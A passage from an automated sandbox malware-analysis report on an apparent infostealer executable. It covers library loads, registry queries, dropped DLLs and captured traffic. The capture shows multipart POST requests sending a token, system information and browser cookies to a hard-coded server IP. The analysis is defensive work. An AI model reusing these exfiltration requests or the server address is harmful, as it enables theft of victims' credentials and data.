"LoadLibrary" with a parameter wininet.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter rstrtmgr.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\chrome.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter KernelBase.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter cryptbase.dll (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\nss3.dll (UID: 00000000-00001720)3d:T1165,Process "chrome.exe" (UID: 00000000-00000196) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default", PROCESSOR_ARCHITEW6432="AMD64"" Process "chrome.exe" (UID: 00000000-00000196) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "chrome.exe" (UID: 00000000-00006756) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "chrome.exe" (UID: 00000000-00006756) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "chrome.exe" (UID: 00000000-00007000) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_196_AQRLMZTLIRVWYISI"" Process "chrome.exe" (UID: 00000000-00006260) was launched with new environment variables: "CHROME_RESTART="Google Chrome|Whoa! Google Chrome has crashed. Relaunch now?|LEFT_TO_RIGHT"" Process "chrome.exe" (UID: 00000000-00007728) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, CHROME_RESTART, SSLKEYLOGFILE, USERDOMAIN, FPS_BROWSER_APP_PROFILE_STRING, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, OneDrive, APPDATA, USERNAME, ProgramFiles(x86), CommonProgramFiles, FPS_BROWSER_USER_PROFILE_STRING, PATHEXT, OS, COMPUTERNAME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir" Process "chrome.exe" (UID: 00000000-00004112) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", CHROME_RESTART="Google Chrome|Whoa! Google Chrome has crashed. Relaunch now?|LEFT_TO_RIGHT", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="DESKTOP-FVVF82A", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", LOGONSERVER="%HOSTNAME%", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", USERNAME="%OSUSER%", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CommonProgramFiles="%PROGRAMFILES%\Common Files", FPS_BROWSER_USER_PROFILE_STRING="Default", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", OS="Windows_NT", COMPUTERNAME="DESKTOP-FVVF82A", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="C:\Users\%OSUSER%", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="2", windir="C:\WINDOWS"" Process "msedge.exe" (UID: 00000000-00004516) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "msedge.exe" (UID: 00000000-00004516) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00004516) was launched with missing environment variables: "CHROME_RESTART, CHROME_CRASHPAD_PIPE_NAME" Process "msedge.exe" (UID: 00000000-00003556) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_4516_ZZFRQADWPWPTFZQK", EDGE_BROWSER_PID="4516"" Process "msedge.exe" (UID: 00000000-00003556) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "msedge.exe" (UID: 00000000-00003556) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00005000) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="28", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_VARIATIONS_SEED_ETAG=""/+nlB/JaJs3S7UdI1iuRoVt1x8h0lBvuyyStUyfx2D8="", EDGE_METRICS_CLIENT_ID_HASH="-5815550854748070847"" Process "msedge.exe" (UID: 00000000-00006460) was launched with new environment variables: "CHROME_RESTART="Microsoft Edge|Microsoft Edge has stopped working. Restart it?|LEFT_TO_RIGHT""3e:T977,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found string "!"#$%&'()*+,-./0123@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp"), Found string "!"#$%&'()*+ -./0123@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp"), Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp"), Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp"), file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp"), file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp"), file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp"), file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")3f:Tbda,"bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "BF3BC85903E812FF6A136924BF8AB376.EXE"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "bf3bc85903e812ff6a136924bf8ab376.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "")40:T5eb,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "CopySid" (Indicator: "CopySid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "SetSecurityDescriptorOwner" (Indicator: "SetSecurityDescriptorOwner"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "SetSecurityDescriptorGroup" (Indicator: "SetSecurityDescriptorGroup"; File: "bf3bc85903e812ff6a136924bf8ab376.exe")41:T4cc,"bf3bc85903e812ff6a136924bf8ab376.exe" wrote 37376 bytes starting with PE header signature to file "C:\ProgramData\chrome.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "bf3bc85903e812ff6a136924bf8ab376.exe" wrote 1024 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\freebl3[1].dll": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ... "bf3bc85903e812ff6a136924bf8ab376.exe" wrote 1024 bytes starting with PE header signature to file "C:\ProgramData\freebl3.dll": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ...42:T467,GetFileAttributesW WriteFile GetModuleFileNameW IsDebuggerPresent GetVersionExA GetModuleFileNameA UnhandledExceptionFilter GetModuleHandleA TerminateProcess LoadLibraryW GetTickCount LoadLibraryA GetStartupInfoA GetStartupInfoW GetProcAddress GetComputerNameW GetTempFileNameA CreateFileA GetCommandLineW GetModuleHandleW CreateProcessW Sleep VirtualAlloc SetSecurityDescriptorDacl OpenProcessToken GetFileAttributesA GetTempPathA GetTempPathW OutputDebugStringW OutputDebugStringA LoadLibraryExA LoadLibraryExW VirtualProtect GetFileSize CreateDirectoryA DeleteFileA DeleteFileW CreateFileMappingW FindFirstFileA CreateFileMappingA FindNextFileA CreateFileW GetSystemInfo MapViewOfFile GetFileAttributesExW CreateProcessA GetFileAttributesExA accept WSAStartup connect closesocket send listen recv socket bind recvfrom sendto GetCommandLineA FindNextFileW FindFirstFileExW GetModuleHandleExW WSASocketW GetLogicalDrives GetComputerNameA GetThreadContext CreateThread SleepConditionVariableSRW GetTickCount64 CopyFileW GetNativeSystemInfo CreateDirectoryW43:T4dd,"bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\bf3bc85903e812ff6a136924bf8ab376.exe" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\win32u.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\ucrtbase.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\msvcp_win.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\gdi32full.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\gdi32.dll" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to touch file "C:\Windows\SysWOW64\user32.dll"44:T10a3d,Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 95.215.204.131Content-Length: 216Connection: Keep-AliveCache-Control: no-cache------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="hwid"A068533DF54E758809014------HDGHJEBFBFHIIECAECGHContent-Disposition: form-data; name="build"LogsDiller------HDGHJEBFBFHIIECAECGH--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="message"browsers------DAAFIIJDAAAAKFHIDAAA--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFIDHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------IIJKJDAFHJDHIEBGCFIDContent-Disposition: form-data; name="message"plugins------IIJKJDAFHJDHIEBGCFID--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="message"fplugins------CFIECBFIDGDAKFHIEHJK--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 95.215.204.131Content-Length: 3555Connection: Keep-AliveCache-Control: no-cache------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZm8udHh0------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="file"Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogQTA2ODUzM0RGNTRFNzU4ODA5MDE0CgktIE9TOiBXaW5kb3dzIDEwIFBybwoJLSBBcmNoaXRlY3R1cmU6IHg2NAoJLSBVc2VyTmFtZTogSEFQVUJXUwoJLSBDb21wdXRlciBOYW1lOiBERVNLVE9QLUZWVkY4MkEKCS0gTG9jYWwgVGltZTogMjAyNC8xMS83IDE6MzQ6MTcKCS0gVVRDOiAtOAoJLSBMYW5ndWFnZTogZW4tVVMKCS0gS2V5Ym9hcmRzOiBFbmdsaXNoIChVbml0ZWQgU3RhdGVzKQoJLSBMYXB0b3A6IEZBTFNFCgktIFJ1bm5pbmcgUGF0aDogQzpcYmYzYmM4NTkwM2U4MTJmZjZhMTM2OTI0YmY4YWIzNzYuZXhlCgktIENQVTogSW50ZWwoUikgQ29yZShSKSBHb2xkIDYyNDBSIENQVSBAIDIuNDBHSHoKCS0gQ29yZXM6IDIKCS0gVGhyZWFkczogNAoJLSBSQU06IDgxOTEgTUIKCS0gRGlzcGxheSBSZXNvbHV0aW9uOiAxMjgweDEwMjQKCS0gR1BVOgoJCS1WTXdhcmUgU1ZHQSAzRAoJCS1WTXdhcmUgU1ZHQSAzRAoJCS1WTXdhcmUgU1ZHQSAzRAoJCS1WTXdhcmUgU1ZHQSAzRAoJCS1WTXdhcmUgU1ZHQSAzRAoJCS1WTXdhcmUgU1ZHQSAzRAoJCS1WTXdhcmUgU1ZHQSAzRAoJCS1WTXdhcmUgU1ZHQSAzRApVc2VyIEFnZW50czoKSW5zdGFsbGVkIEFwcHM6CkFsbCBVc2VyczoKCUFkb2JlIEZsYXNoIFBsYXllciAzMiBOUEFQSSAtIDMyLjAuMC4xMDEKCUF1dG9JdCB2My4zLjE0LjMgLSAzLjMuMTQuMwoJR29vZ2xlIENocm9tZSAtIDEyMi4wLjYyNjEuMTEyCglNaWNyb3NvZnQgRWRnZSAtIDEwNy4wLjE0MTguNTYKCU1pY3Jvc29mdCBFZGdlIFVwZGF0ZSAtIDEuMy4xNzEuMzcKCU5wY2FwIC0gMS43MQpDdXJyZW50IFVzZXI6CglQeXRob24gMy4xMS4wICg2NC1iaXQpIC0gMy4xMS4xNTAuMAoKUHJvY2VzcyBMaXN0OgoJU3lzdGVtCglzbXNzLmV4ZQoJY3Nyc3MuZXhlCgl3aW5pbml0LmV4ZQoJY3Nyc3MuZXhlCgl3aW5sb2dvbi5leGUKCXNlcnZpY2VzLmV4ZQoJbHNhc3MuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCWZvbnRkcnZob3N0LmV4ZQoJZm9udGRydmhvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCWR3bS5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCU1lbW9yeSBDb21wcmVzc2lvbgoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglXbWlQcnZTRS5leGUKCWRsbGhvc3QuZXhlCglzdmNob3N0LmV4ZQoJbXNkdGMuZXhlCglzaWhvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXRhc2tob3N0dy5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJY3RmbW9uLmV4ZQoJZXhwbG9yZXIuZXhlCglTaGVsbEV4cGVyaWVuY2VIb3N0LmV4ZQoJUnVudGltZUJyb2tlci5leGUKCVNlYXJjaFVJLmV4ZQoJc3ZjaG9zdC5leGUKCVJ1bnRpbWVCcm9rZXIuZXhlCglzdmNob3N0LmV4ZQoJT05FTk9URU0uRVhFCglPU1BQU1ZDLkVYRQoJc2Vkc3ZjLmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglBcHBsaWNhdGlvbkZyYW1lSG9zdC5leGUKCVdpblN0b3JlLkFwcC5leGUKCVJ1bnRpbWVCcm9rZXIuZXhlCglTeXN0ZW1TZXR0aW5ncy5leGUKCVJ1bnRpbWVCcm9rZXIuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCgljb25ob3N0LmV4ZQoJY29uaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglUcnVzdGVkSW5zdGFsbGVyLmV4ZQoJVGlXb3JrZXIuZXhlCglzdmNob3N0LmV4ZQoJc3Bwc3ZjLmV4ZQoJc3ZjaG9zdC5leGUKCVNwcEV4dENvbU9iai5FeGUKCW1pdG1kdW1wLmV4ZQoJY29uaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglkbGxob3N0LmV4ZQoJYmYzYmM4NTkwM2U4MTJmZjZhMTM2OTI0YmY4YWIzNzYuZXhl------CAKKKJEHDBGIDHJKJDBF--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: 95.215.204.131Content-Length: 427Connection: Keep-AliveCache-Control: no-cache------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AEBKFIJEGCAAFHJKFCFCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEBKFIJEGCAAFHJKFCFC--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="file"------GIIIECBGDHJJKFIDAKJD--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 95.215.204.131Content-Length: 14383Connection: Keep-AliveCache-Control: no-cache------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; 